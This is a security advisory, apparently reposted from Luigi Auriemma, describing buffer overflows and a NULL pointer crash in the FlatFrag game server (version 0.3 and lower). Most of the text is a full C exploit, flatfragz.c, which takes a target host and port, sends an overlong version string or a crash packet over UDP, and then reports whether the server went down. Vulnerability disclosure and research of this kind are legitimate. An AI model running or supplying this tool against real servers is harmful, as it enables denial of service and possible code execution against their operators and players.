|
|
|
|
| |
"FlatFrag is a multiplayer action shooter game."
FlatFrag does not validate numerous inputs allowing attackers to cause multiple buffer overflows that in turn can be used to execute arbitrary code or cause DoS. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/flatfragz-adv.txt
|
| |
Vulnerable Systems:
* FlatFrag version 0.3 and lower
Multiple Buffer Overflow:
The receiver() function in server/loop.c contains 3 buffer-overflow caused by the usage of strcpy() for copying the version, the name and the model sent by the client to 3 buffers of respectively 64, 32 and 32 bytes.
NULL pointer crash:
When the server receives the NT_CONN_OK command from an unconnected client it calls net_on_receive(NULL, NULL) which is a function pointer that reads the data contained in the stream passed as second argument. The problem is just in the NULL pointers passed to the function which lead to the immediate crash of the server.
Exploit:
The file winerr.h can be found: http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
flatfragz.c:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 29000
#define TIMEOUT 3
#define GAMEVER "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaAAA"
int ff_addstr(u_char *in, u_char *out);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
int sd,
len,
attack;
u_short port = PORT;
u_char buff[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"FlatFrag <= 0.3 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
"1 = buffer-overflow\n"
"2 = crash through access to NULL pointer\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- start attack:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(attack == 1) {
buff[0] = 3;
buff[1] = 0;
len = send_recv(sd, buff, 2, buff, BUFFSZ);
if(*buff != 5) {
fputs("\nError: wrong reply from the server\n\n", stdout);
exit(1);
}
buff[0] = 1;
buff[1] = 0;
buff[2] = 1;
p = buff + 3;
p += ff_addstr(GAMEVER, p);
len = send_recv(sd, buff, p - buff, buff, BUFFSZ);
} else if(attack == 2) {
buff[0] = 5;
buff[1] = 0;
send_recv(sd, buff, 2, NULL, 0);
}
close(sd);
sleep(ONESEC);
fputs("- check server:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
buff[0] = 3;
buff[1] = 0;
sendto(sd, buff, 2, 0, (struct sockaddr *)&peer, sizeof(peer));
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int ff_addstr(u_char *in, u_char *out) {
int len;
len = strlen(in);
*out++ = len;
memcpy(out, in, len);
return(len + 1);
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
int len;
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(!out) return(0);
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
}
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
/* EoF */
|
|
|
|
|
|
|
|
|
|